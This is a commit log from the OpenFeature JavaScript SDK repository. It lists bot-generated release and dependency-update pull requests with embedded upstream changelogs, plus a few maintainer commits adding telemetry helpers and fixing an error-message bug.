🤖 I have created a release *beep* *boop*
---


##
[1.17.1](https://github.com/open-feature/js-sdk/compare/server-sdk-v1.17.0...server-sdk-v1.17.1)
(2025-02-07)


### 🐛 Bug Fixes

* msg missing when providers return err resolutions
([#1134](https://github.com/open-feature/js-sdk/issues/1134))
([bc9f6e4](bc9f6e44da))


### 🧹 Chore

* update core peer
([8bbd43e](8bbd43e579))


### 📚 Documentation

* fix eval context link
([#1132](https://github.com/open-feature/js-sdk/issues/1132))
([f6bc695](f6bc6951a3))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2025-02-07 20:26:32 +00:00
Todd Baert 8bbd43e579 chore: update core peer
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2025-02-07 15:22:52 -05:00
OpenFeature Bot 644b9a148d
chore(main): release core 1.7.0 (#1137)
🤖 I have created a release *beep* *boop*
---


##
[1.7.0](https://github.com/open-feature/js-sdk/compare/core-v1.6.0...core-v1.7.0)
(2025-02-07)


###  New Features

* add telemetry helper utils
([#1120](https://github.com/open-feature/js-sdk/issues/1120))
([1e93b3c](1e93b3c6fa))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2025-02-07 20:01:55 +00:00
renovate[bot] 0f3e80cb64
chore(deps): update dependency eslint-plugin-jsdoc to v50.6.3 (#1127)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[eslint-plugin-jsdoc](https://redirect.github.com/gajus/eslint-plugin-jsdoc)
| [`50.4.3` ->
`50.6.3`](https://renovatebot.com/diffs/npm/eslint-plugin-jsdoc/50.4.3/50.6.3)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-plugin-jsdoc/50.6.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/eslint-plugin-jsdoc/50.6.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/eslint-plugin-jsdoc/50.4.3/50.6.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-plugin-jsdoc/50.4.3/50.6.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>gajus/eslint-plugin-jsdoc (eslint-plugin-jsdoc)</summary>

###
[`v50.6.3`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/releases/tag/v50.6.3)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.6.2...v50.6.3)

##### Bug Fixes

- **`check-template-names`:** stop restricting template names to single
letters; fixes
[#&#8203;1352](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1352)
([c283729](c283729387))

###
[`v50.6.2`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/releases/tag/v50.6.2)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.6.1...v50.6.2)

##### Bug Fixes

- **`valid-types`:** update closure suppress types; fixes
[#&#8203;1349](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1349)
([#&#8203;1350](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1350))
([a57f36e](a57f36e346))

###
[`v50.6.1`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/releases/tag/v50.6.1)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.6.0...v50.6.1)

##### Bug Fixes

- **types:** update configs types
([#&#8203;1344](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1344))
([d2c6040](d2c60403bb))

###
[`v50.6.0`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/releases/tag/v50.6.0)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.5.0...v50.6.0)

##### Features

- **lines-before-block:** move start-of-block checking behind
off-by-default `checkBlockStarts` option
([#&#8203;1341](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1341))
([f9b102d](f9b102dec5))

###
[`v50.5.0`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/releases/tag/v50.5.0)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.4.3...v50.5.0)

##### Features

- ability to import iterateJsdoc
([#&#8203;1338](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1338))
([b9091f8](b9091f8da9))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-02-07 19:57:53 +00:00
renovate[bot] d202db53db
chore(deps): update dependency prettier to v3.4.2 (#1130)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [prettier](https://prettier.io)
([source](https://redirect.github.com/prettier/prettier)) | [`3.3.3` ->
`3.4.2`](https://renovatebot.com/diffs/npm/prettier/3.3.3/3.4.2) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/prettier/3.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/prettier/3.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/prettier/3.3.3/3.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/prettier/3.3.3/3.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>prettier/prettier (prettier)</summary>

###
[`v3.4.2`](https://redirect.github.com/prettier/prettier/blob/HEAD/CHANGELOG.md#342)

[Compare
Source](https://redirect.github.com/prettier/prettier/compare/3.4.1...3.4.2)


[diff](https://redirect.github.com/prettier/prettier/compare/3.4.1...3.4.2)

##### Treat U+30A0 & U+30FB in Katakana Block as CJK
([#&#8203;16796](https://redirect.github.com/prettier/prettier/pull/16796)
by [@&#8203;tats-u](https://redirect.github.com/tats-u))

Prettier doesn't treat U+30A0 & U+30FB as Japanese. U+30FB is commonly
used in Japanese to represent the delimitation of first and last names
of non-Japanese people or “and”. The following “C言語・C++・Go・Rust” means
“C language & C++ & Go & Rust” in Japanese.

<!-- prettier-ignore -->

```md
<!-- Input (--prose-wrap=never) -->

C言
語
・
C++
・
Go
・
Rust

<!-- Prettier 3.4.1 -->
C言語・ C++ ・ Go ・ Rust

<!-- Prettier 3.4.2 -->
C言語・C++・Go・Rust
```

U+30A0 can be used as the replacement of the `-` in non-Japanese names
(e.g. “Saint-Saëns” (Charles Camille Saint-Saëns) can be represented as
“サン゠サーンス” in Japanese), but substituted by ASCII hyphen (U+002D) or
U+FF1D (full width hyphen) in many cases (e.g. “サン=サーンス” or “サン=サーンス”).

##### Fix comments print on class methods with decorators
([#&#8203;16891](https://redirect.github.com/prettier/prettier/pull/16891)
by [@&#8203;fisker](https://redirect.github.com/fisker))

<!-- prettier-ignore -->

```jsx
// Input
class A {
  @&#8203;decorator
  /** 
   * The method description
   *
  */
  async method(foo: Foo, bar: Bar) {
    console.log(foo);
  }
}

// Prettier 3.4.1
class A {
  @&#8203;decorator
  async /**
   * The method description
   *
   */
  method(foo: Foo, bar: Bar) {
    console.log(foo);
  }
}

// Prettier 3.4.2
class A {
  @&#8203;decorator
  /**
   * The method description
   *
   */
  async method(foo: Foo, bar: Bar) {
    console.log(foo);
  }
}
```

##### Fix non-idempotent formatting
([#&#8203;16899](https://redirect.github.com/prettier/prettier/pull/16899)
by [@&#8203;seiyab](https://redirect.github.com/seiyab))

This bug fix is not language-specific. You may see similar change in any
languages. This fixes regression in 3.4.0 so change caused by it should
yield same formatting as 3.3.3.

<!-- prettier-ignore -->

```jsx
// Input
<div>
  foo
  <span>longlonglonglonglonglonglonglonglonglonglonglonglonglonglongl foo</span>
  , abc
</div>;

// Prettier 3.4.1 (first)
<div>
  foo
  <span>
    longlonglonglonglonglonglonglonglonglonglonglonglonglonglongl foo
  </span>, abc
</div>;

// Prettier 3.4.1 (second)
<div>
  foo
  <span>longlonglonglonglonglonglonglonglonglonglonglonglonglonglongl foo</span>
  , abc
</div>;

// Prettier 3.4.2
<div>
  foo
  <span>longlonglonglonglonglonglonglonglonglonglonglonglonglonglongl foo</span>
  , abc
</div>;
```

###
[`v3.4.1`](https://redirect.github.com/prettier/prettier/blob/HEAD/CHANGELOG.md#341)

[Compare
Source](https://redirect.github.com/prettier/prettier/compare/3.4.0...3.4.1)


[diff](https://redirect.github.com/prettier/prettier/compare/3.4.0...3.4.1)

##### Remove unnecessary parentheses around assignment in `v-on`
([#&#8203;16887](https://redirect.github.com/prettier/prettier/pull/16887)
by [@&#8203;fisker](https://redirect.github.com/fisker))

<!-- prettier-ignore -->

```vue
<!-- Input -->
<template>
  <button @&#8203;click="foo += 2">Click</button>
</template>

<!-- Prettier 3.4.0 -->
<template>
  <button @&#8203;click="(foo += 2)">Click</button>
</template>

<!-- Prettier 3.4.1 -->
<template>
  <button @&#8203;click="foo += 2">Click</button>
</template>
```

###
[`v3.4.0`](https://redirect.github.com/prettier/prettier/blob/HEAD/CHANGELOG.md#340)

[Compare
Source](https://redirect.github.com/prettier/prettier/compare/3.3.3...3.4.0)


[diff](https://redirect.github.com/prettier/prettier/compare/3.3.3...3.4.0)

🔗 [Release Notes](https://prettier.io/blog/2024/11/26/3.4.0.html)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-02-07 19:57:00 +00:00
Michael Beemer 1e93b3c6fa
feat: add telemetry helper utils (#1120)
## This PR

- adds a method to core that returns a semantically valid flag
evaluation event

### Related Issues

Fixes #1118

## Notes

I've omitted value type because it is likely to be declined in the OTel
spec and adds complexity. We should consider removing that section from
[appendix
d](https://openfeature.dev/specification/appendix-d#evaluation-details).

---------

Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2025-02-07 19:56:42 +00:00
Todd Baert bc9f6e44da
fix: msg missing when providers return err resolutions (#1134)
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2025-02-06 13:39:55 -05:00
Michael Beemer f6bc6951a3
docs: fix eval context link (#1132)
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2025-02-05 16:23:35 -05:00
renovate[bot] 9196ac9acd
chore(deps): update dependency jest-preset-angular to v14.5.1 (#1128)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [jest-preset-angular](https://thymikee.github.io/jest-preset-angular)
([source](https://redirect.github.com/thymikee/jest-preset-angular)) |
[`14.2.4` ->
`14.5.1`](https://renovatebot.com/diffs/npm/jest-preset-angular/14.2.4/14.5.1)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/jest-preset-angular/14.5.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/jest-preset-angular/14.5.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/jest-preset-angular/14.2.4/14.5.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/jest-preset-angular/14.2.4/14.5.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>thymikee/jest-preset-angular (jest-preset-angular)</summary>

###
[`v14.5.1`](https://redirect.github.com/thymikee/jest-preset-angular/blob/HEAD/CHANGELOG.md#1451-2025-01-25)

[Compare
Source](https://redirect.github.com/thymikee/jest-preset-angular/compare/v14.5.0...v14.5.1)

##### Bug Fixes

- fix: properly handle types for presets module
([#&#8203;2945](https://redirect.github.com/thymikee/jest-preset-angular/issues/2945))
([e0323bd](https://redirect.github.com/thymikee/jest-preset-angular/commit/e0323bd)),
closes
[#&#8203;2945](https://redirect.github.com/thymikee/jest-preset-angular/issues/2945)

###
[`v14.5.0`](https://redirect.github.com/thymikee/jest-preset-angular/blob/HEAD/CHANGELOG.md#1450-2025-01-10)

[Compare
Source](https://redirect.github.com/thymikee/jest-preset-angular/compare/v14.4.2...v14.5.0)

##### Features

- feat: add custom `jsdom` env
[#&#8203;2904](https://redirect.github.com/thymikee/jest-preset-angular/issues/2904)
([6045a96](https://redirect.github.com/thymikee/jest-preset-angular/commit/6045a96)),
closes
[#&#8203;2883](https://redirect.github.com/thymikee/jest-preset-angular/issues/2883)

##### Code Refactoring

- refactor: add type for `serializers/index.ts`
([dd64d78](https://redirect.github.com/thymikee/jest-preset-angular/commit/dd64d78))

##### DEPRECATIONS

- refactor: deprecate `defaultTransformerOptions` in `presets`
([99d3112](https://redirect.github.com/thymikee/jest-preset-angular/commit/99d3112))
- refactor: deprecate `ngcc` util via `globalSetup`
([edeaa3f](https://redirect.github.com/thymikee/jest-preset-angular/commit/edeaa3f))

###
[`v14.4.2`](https://redirect.github.com/thymikee/jest-preset-angular/blob/HEAD/CHANGELOG.md#1442-2024-12-03)

[Compare
Source](https://redirect.github.com/thymikee/jest-preset-angular/compare/v14.4.1...v14.4.2)

##### Bug Fixes

- fix: revert commit
[`ad7a297`](https://redirect.github.com/thymikee/jest-preset-angular/commit/ad7a297e)
to fix perf regression
([b19cd6e](https://redirect.github.com/thymikee/jest-preset-angular/commit/b19cd6e)),
closes
[#&#8203;2886](https://redirect.github.com/thymikee/jest-preset-angular/issues/2886)

###
[`v14.4.1`](https://redirect.github.com/thymikee/jest-preset-angular/blob/HEAD/CHANGELOG.md#1441-2024-11-28)

[Compare
Source](https://redirect.github.com/thymikee/jest-preset-angular/compare/v14.4.0...v14.4.1)

##### Bug Fixes

- fix: remove `@angular-devkit/build-angular` from `peerDependencies`
([2f6bc3d](https://redirect.github.com/thymikee/jest-preset-angular/commit/2f6bc3d))

###
[`v14.4.0`](https://redirect.github.com/thymikee/jest-preset-angular/blob/HEAD/CHANGELOG.md#1440-2024-11-27)

[Compare
Source](https://redirect.github.com/thymikee/jest-preset-angular/compare/v14.3.3...v14.4.0)

##### Features

- feat: add preset creator functions
([552922e](https://redirect.github.com/thymikee/jest-preset-angular/commit/552922e))
- feat: add support for Angular 19
([4a73245](https://redirect.github.com/thymikee/jest-preset-angular/commit/4a73245))

##### Code Refactoring

- refactor: use `createCjsPreset` function for `jest-preset.js`
([9d18d0f](https://redirect.github.com/thymikee/jest-preset-angular/commit/9d18d0f))
- refactor: deprecate legacy presets
([8da5630](https://redirect.github.com/thymikee/jest-preset-angular/commit/8da5630))

##### DEPRECATIONS

- Using `preset: 'jest-preset-angular'` is deprecated. The recommended
approach is
https://thymikee.github.io/jest-preset-angular/docs/getting-started/presets#createcjspresetoptions
- Using `preset: 'jest-preset-angular/presets/defaults-esm'` is
deprecated. The recommended approach is
https://thymikee.github.io/jest-preset-angular/docs/getting-started/presets#createesmpresetoptions

###
[`v14.3.3`](https://redirect.github.com/thymikee/jest-preset-angular/blob/HEAD/CHANGELOG.md#1433-2024-11-22)

[Compare
Source](https://redirect.github.com/thymikee/jest-preset-angular/compare/v14.3.2...v14.3.3)

##### Features

- feat: support configuring zoneless test env for CJS
([7a270b1](https://redirect.github.com/thymikee/jest-preset-angular/commit/7a270b1))

###
[`v14.3.2`](https://redirect.github.com/thymikee/jest-preset-angular/blob/HEAD/CHANGELOG.md#1432-2024-11-20)

[Compare
Source](https://redirect.github.com/thymikee/jest-preset-angular/compare/v14.3.1...v14.3.2)

##### Bug Fixes

- fix: include `version` from `package.json` into cache key
([de02c79](https://redirect.github.com/thymikee/jest-preset-angular/commit/de02c79)),
closes
[#&#8203;2844](https://redirect.github.com/thymikee/jest-preset-angular/issues/2844)

###
[`v14.3.1`](https://redirect.github.com/thymikee/jest-preset-angular/blob/HEAD/CHANGELOG.md#1431-2024-11-18)

[Compare
Source](https://redirect.github.com/thymikee/jest-preset-angular/compare/v14.3.0...v14.3.1)

##### Documentation

- docs: simplify `README.md` about installation and configuration
([79ea18b](https://redirect.github.com/thymikee/jest-preset-angular/commit/79ea18b))

###
[`v14.3.0`](https://redirect.github.com/thymikee/jest-preset-angular/blob/HEAD/CHANGELOG.md#1430-2024-11-15)

[Compare
Source](https://redirect.github.com/thymikee/jest-preset-angular/compare/v14.2.4...v14.3.0)

##### Features

- feat: add new setup test env functions
([21c0238](https://redirect.github.com/thymikee/jest-preset-angular/commit/21c0238)),
closes
[#&#8203;354](https://redirect.github.com/thymikee/jest-preset-angular/issues/354)
[#&#8203;2755](https://redirect.github.com/thymikee/jest-preset-angular/issues/2755)
- feat: build package with type definitions
([a269daa](https://redirect.github.com/thymikee/jest-preset-angular/commit/a269daa))
- feat: deprecate `setup-jest.js` and `setup-jest.mjs`
([a304036](https://redirect.github.com/thymikee/jest-preset-angular/commit/a304036))

##### Code Refactoring

- test: switch example app test config files to ts
([e61f1ff](https://redirect.github.com/thymikee/jest-preset-angular/commit/e61f1ff))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-02-03 19:27:29 +00:00
renovate[bot] c577e0d28e
chore(deps): update dependency eslint-plugin-jest to v28.11.0 (#1126)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[eslint-plugin-jest](https://redirect.github.com/jest-community/eslint-plugin-jest)
| [`28.8.3` ->
`28.11.0`](https://renovatebot.com/diffs/npm/eslint-plugin-jest/28.8.3/28.11.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-plugin-jest/28.11.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/eslint-plugin-jest/28.11.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/eslint-plugin-jest/28.8.3/28.11.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-plugin-jest/28.8.3/28.11.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>jest-community/eslint-plugin-jest
(eslint-plugin-jest)</summary>

###
[`v28.11.0`](https://redirect.github.com/jest-community/eslint-plugin-jest/blob/HEAD/CHANGELOG.md#28110-2025-01-15)

[Compare
Source](https://redirect.github.com/jest-community/eslint-plugin-jest/compare/v28.10.1...v28.11.0)

##### Features

- **valid-expect:** allow calling `expect` with no arguments
([#&#8203;1688](https://redirect.github.com/jest-community/eslint-plugin-jest/issues/1688))
([ff0349e](ff0349ea0b))

####
[28.10.1](https://redirect.github.com/jest-community/eslint-plugin-jest/compare/v28.10.0...v28.10.1)
(2025-01-15)

##### Bug Fixes

- **padding-around-test-blocks:** update description
([#&#8203;1691](https://redirect.github.com/jest-community/eslint-plugin-jest/issues/1691))
([9cb4ecc](9cb4eccab0))

###
[`v28.10.1`](https://redirect.github.com/jest-community/eslint-plugin-jest/blob/HEAD/CHANGELOG.md#28101-2025-01-15)

[Compare
Source](https://redirect.github.com/jest-community/eslint-plugin-jest/compare/v28.10.0...v28.10.1)

##### Bug Fixes

- **padding-around-test-blocks:** update description
([#&#8203;1691](https://redirect.github.com/jest-community/eslint-plugin-jest/issues/1691))
([9cb4ecc](9cb4eccab0))

###
[`v28.10.0`](https://redirect.github.com/jest-community/eslint-plugin-jest/blob/HEAD/CHANGELOG.md#28100-2024-12-19)

[Compare
Source](https://redirect.github.com/jest-community/eslint-plugin-jest/compare/v28.9.0...v28.10.0)

##### Features

- **unbound-method:** ignore functions passed to `jest.mocked`
([#&#8203;1681](https://redirect.github.com/jest-community/eslint-plugin-jest/issues/1681))
([d868636](d868636623))

###
[`v28.9.0`](https://redirect.github.com/jest-community/eslint-plugin-jest/blob/HEAD/CHANGELOG.md#2890-2024-11-05)

[Compare
Source](https://redirect.github.com/jest-community/eslint-plugin-jest/compare/v28.8.3...v28.9.0)

##### Features

- add TypeScript types
([#&#8203;1667](https://redirect.github.com/jest-community/eslint-plugin-jest/issues/1667))
([1ce1258](1ce12588e7))

####
[28.8.3](https://redirect.github.com/jest-community/eslint-plugin-jest/compare/v28.8.2...v28.8.3)
(2024-09-04)

##### Bug Fixes

- **prefer-importing-jest-globals:** don't add imports in the middle of
statements
([#&#8203;1645](https://redirect.github.com/jest-community/eslint-plugin-jest/issues/1645))
([9c4197c](9c4197c91f))

####
[28.8.2](https://redirect.github.com/jest-community/eslint-plugin-jest/compare/v28.8.1...v28.8.2)
(2024-09-02)

##### Performance Improvements

- **prefer-importing-jest-globals:** stop collecting import specifiers
for no reason
([#&#8203;1646](https://redirect.github.com/jest-community/eslint-plugin-jest/issues/1646))
([0660242](066024289e))

####
[28.8.1](https://redirect.github.com/jest-community/eslint-plugin-jest/compare/v28.8.0...v28.8.1)
(2024-08-29)

##### Bug Fixes

- **prefer-importing-jest-globals:** support typescript-eslint parser
([#&#8203;1639](https://redirect.github.com/jest-community/eslint-plugin-jest/issues/1639))
([307f6a7](307f6a7b3a))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-02-03 18:00:38 +00:00
renovate[bot] 31eff43554
chore(deps): update nest monorepo to v10.4.15 (#1124)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@nestjs/common](https://nestjs.com)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/common))
| [`10.4.6` ->
`10.4.15`](https://renovatebot.com/diffs/npm/@nestjs%2fcommon/10.4.6/10.4.15)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcommon/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fcommon/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fcommon/10.4.6/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcommon/10.4.6/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [@nestjs/core](https://nestjs.com)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/core))
| [`10.4.6` ->
`10.4.15`](https://renovatebot.com/diffs/npm/@nestjs%2fcore/10.4.6/10.4.15)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcore/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fcore/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fcore/10.4.6/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcore/10.4.6/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [@nestjs/platform-express](https://nestjs.com)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-express))
| [`10.4.6` ->
`10.4.15`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-express/10.4.6/10.4.15)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-express/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fplatform-express/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fplatform-express/10.4.6/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-express/10.4.6/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [@nestjs/testing](https://nestjs.com)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/testing))
| [`10.4.6` ->
`10.4.15`](https://renovatebot.com/diffs/npm/@nestjs%2ftesting/10.4.6/10.4.15)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2ftesting/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2ftesting/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2ftesting/10.4.6/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2ftesting/10.4.6/10.4.15?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>nestjs/nest (@&#8203;nestjs/common)</summary>

###
[`v10.4.15`](https://redirect.github.com/nestjs/nest/releases/tag/v10.4.15)

[Compare
Source](https://redirect.github.com/nestjs/nest/compare/v10.4.14...v10.4.15)

##### v10.4.15 (2024-12-09)

##### Dependencies

-   `platform-express`
- [#&#8203;14282](https://redirect.github.com/nestjs/nest/pull/14282)
fix(deps): update dependency express to v4.21.2
([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))

###
[`v10.4.14`](https://redirect.github.com/nestjs/nest/compare/v10.4.13...v10.4.14)

[Compare
Source](https://redirect.github.com/nestjs/nest/compare/v10.4.13...v10.4.14)

###
[`v10.4.13`](https://redirect.github.com/nestjs/nest/compare/v10.4.12...1eba0121a089be0e4880f37503dab7870602bb8e)

[Compare
Source](https://redirect.github.com/nestjs/nest/compare/v10.4.12...v10.4.13)

###
[`v10.4.12`](https://redirect.github.com/nestjs/nest/releases/tag/v10.4.12)

[Compare
Source](https://redirect.github.com/nestjs/nest/compare/v10.4.11...v10.4.12)

##### v10.4.12 (2024-11-29)

##### Bug fixes

-   `common`
- [#&#8203;14241](https://redirect.github.com/nestjs/nest/pull/14241)
fix(common): enforce string type in validationpipe
([@&#8203;LhonRafaat](https://redirect.github.com/LhonRafaat))

##### Dependencies

-   Other
- [#&#8203;14243](https://redirect.github.com/nestjs/nest/pull/14243)
chore(deps): update dependency
[@&#8203;types/node](https://redirect.github.com/types/node) to v20.17.9
